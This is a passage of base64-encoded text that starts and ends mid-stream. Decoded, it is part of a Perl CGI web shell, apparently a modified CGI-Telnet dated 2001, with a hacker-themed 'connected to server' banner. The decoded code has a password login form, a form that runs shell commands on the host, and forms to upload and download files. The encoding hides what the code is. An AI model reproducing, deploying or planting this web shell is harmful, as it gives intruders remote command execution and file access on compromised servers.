pbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsiPkNvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhIDwvZm9udD48YnI+PGJyPg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NCg0KUGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIzY2ZmY2Nic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIH